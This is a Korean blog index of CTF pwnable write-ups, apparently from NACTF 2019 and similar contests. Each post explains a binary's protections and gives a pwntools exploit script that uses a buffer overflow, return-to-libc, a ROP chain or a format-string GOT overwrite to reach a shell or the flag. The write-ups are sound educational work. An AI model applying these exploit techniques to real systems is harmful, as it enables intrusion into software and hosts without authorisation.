일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 포맷스트링버그
- 이분 탐색
- 다이나믹 프로그래밍
- OOB
- 백트래킹
- 분할 정복
- 문자열 처리
- 브루트 포스
- 투 포인터
- BFS
- 스위핑 알고리즘
- 큐
- DFS
- RTL
- 연결리스트
- House of Orange
- 이진트리
- fsb
- 수학
- 완전 탐색
- 스택
- heap
- 에라토스테네스의 체
- 동적 계획법
- off by one
- 이진 탐색
- syscall
- tcache
- BOF
- ROP
- Today
- Total
목록분류 전체보기 (218)
SDJ( 수돈재 아님 ㅎ )
32 bit에 Partial RELRO, Canary, NX가 활성화되어있다. IDA로 분석해보면 LOOPY #0와 다르게 Canary가 생겨서 ROP를 할 수 없게 됐다. BOF 한 번과 FSB 한 번으로 익스를 어떻게 해야 하나 생각을 하다가 다음과 같이 생각했다. FSB로 ___stack_chk_fail의 주소를 바꾼다면 canary가 바뀌어도 바뀐 ___stack_chk_fail함수가 실행될 것이다. 따라서 gets를 통해 ___stack_chk_fail의 got를 적고 포맷 스트링으로 그 주소를 vuln() 함수로 바꾼다면 무한 루프를 돌게 될 것이다. 마지막엔 원가젯을 마구 줘서 실행되게 했다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ..
일단 2.28버전이라 로컬에서 돌리지 못했다. ( Ubuntu 16.04 LTS 라서 2.28이 아니었다.. ) 그래서 서버로 일일이 접속하며 풀었는데 꽤나 힘들었다. 먼저 32 bit 바이너리에 Partial RELRO, NX가 활성화 되어있다. IDA로 분석해보면 다음과 같이 vuln()함수에서 gets()함수로 BOF가 발생하고 format string buf ( FSB )도 발생하는 것을 볼 수 있다. 카나리가 존재하지는 않으므로 ROP를 통해 쉽게 익스가 가능할 것이라고 생각했다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import..
32 Bit 바이너리에 보호기법은 Partial RELRO가 걸려있다. IDA로 분석을 해보면 먼저 main에서 변수 v4에 0을 넣고 vuln()함수를 거친후 v4가 42가 된다면 win()함수를 출력하도록 되어있다. 이 때 vuln()함수에서는 Format String Buf ( FSB )가 발생하여 v4의 값을 조절할 수 있게 된다. 따라서 포맷스트링으로 v4의 값을 42로 바꾸면 win()함수가 실행될 것이다. v4 인자 위치를 알아내기 위해 gdb로 열어보자 그리고 다음 2 곳에 break pointer를 건다. 1. v4 에 0을 할당하기 직전 2. fsb가 발생하기 직전 먼저 v4에 0을 할당하기 직전 모습이다 ebp - 0xc에 0을 할당하는데 현재 ebp = 0xffffcfc8이므로 eb..
32bit 바이너리에 Partial RELRO가 걸려있다. 처음 main()함수에서 flag파일을 읽어와 s에 적어준 뒤, vuln(); 함수를 실행시킨다. 그리고 vuln()함수에는 format string bug ( FSB ) 취약점이 존재한다. 따라서 포맷스트링을 이용해 main함수에서 flag를 적은 s를 출력해 주면 flag를 얻을 수 있다. 인자 위치를 찾기위해 gdb로 열어보자 먼저 가상 flag.txt파일을 만들어주었다. 그리고 포맷스트링 직전 인자값들을 확인하기 위해 FSB가 일어나는 printf 직전에 breakpoint를 걸어준다. 사진과 같이 파란색 0xffffcebc 위치에 우리가 입력한 AAAA... flag.txt파일이 적혀있는 것을 볼 수 있다. 따라서 파란색 인자의 위치인 ..
32bit 바이너리에 Partial RELRO만 걸려있다. 이번에는 win()함수에 인자 2개가 추가 되었다. __int64 al와 int a2인데 __int64 는 8byte이고 int는 4byte라고 알고있기 때문에 자료형에 맞게 인자를 보내줘야 겠다. 그리고 vuln()함수에서 bof가 발생하는데 이번에는 ret를 win으로 덮기만해서는 안되고 위에있는 인자를 덮어줘야할 필요가 있다. 따라서 RTL을 통해 win()함수를 실행 시키면 flag를 얻을 수 있다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * #p = process('./bufover-2') p = remote("shell.2..
32bit 바이너리에 Partial RELRO만 걸려있다 flag를 읽어주는 win()함수가 있다. vuln()함수에서 gets(&s);에서 BOF가 발생하므로 역시 ret를 win()함수의 주소로 덮어주면 된다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * #p = process('./bufover-1') p = remote("shell.2019.nactf.com",31462) win = 0x080491B2 pay = '' pay += 'a'*0x18 pay += p32(0) pay += p32(win) p.sendlineafter(">", pay) p.interactive() BufferOverflow #0과 똑같은 문제인 듯 하다..
32비트 바이너리에 partial RELRO만 걸려있다. 바이너리 안에 flag를 읽어주는 win()함수가 있다. 그리고 vuln()함수에서 BOF가 발생하므로 ret를 win()의 주소로 덮어주면 된다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * #p = process('./bufover-0') p = remote("shell.2019.nactf.com",31475) win = 0x080491C2 pay = 'a'*0x18 pay += 'b'*4 pay += p32(win) p.sendline(pay) p.interactive() 아주 기초적인 BOF문제. flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}
보호되어 있는 글입니다.
64bit 바이너리에 NX만 활성화 되어있다. 가장먼저 main()함수에서 bof취약점이 존재한다. 그리고 bof가 일어나는 함수 climax()를 준다. 따라서 익스플로잇 과정은 다음과 같다. 1. ret에 read_leave_ret을 넣어 bss로 돌린다. 2. ROP를 통해 가젯들과 주소를 구한다. 3. RTL로 쉘을 딴다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * p = process("./storytime") write_plt =..
64bit 바이너리에 NX만 활성화 되어있다. Lite와 달리 system의 주소는 주어지지 않고 /bin/sh문자열만 존재한다. 이때 gets(&v1);에서 bof가 발생하므로 ROP를 통해 system주소를 구하고 쉘을 따면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * p = process('./combo-chain') bin_sh = 0x0000000000402008 + len('Dude you hear about that new game called ') gets_leave_ret = ..
64bit 바이너리에 NX만 활성화 되어있다. Lite문제는 system의 주소를 주고 문자열 끝에 "/bin/sh"도 준다. 따라서 RTL로 쉘을 따면 되겠다. 64bit는 rdi, rsi, rdx순으로 인자를 받으므로 pop_rdi 가젯을 찾아 /bin/sh를 넣고 system 함수를 호출하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p = process('./combo-chain-lite') pop_rdi = 0x401273 p.recvuntil("computer: ") libc_system = int(p.recvuntil('\n').strip(), 16) print "libc_system : " + he..
32bit 바이너리에 아주 간단한 bof문제이다. vuln()함수에서 gets(&s); 에서 bof가 발생한다. 게다가 system("/bin/sh");도 주어줬으므로 ret에 win()함수를 넣어주면 되겠다. 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = process('./return-to-sender') win = 0x080491B6 pay = '' pay += 'a'*0x10 pay += 'bbbb' pay += p64(win) p.sendlineafter("today? ", pay) p.interactive()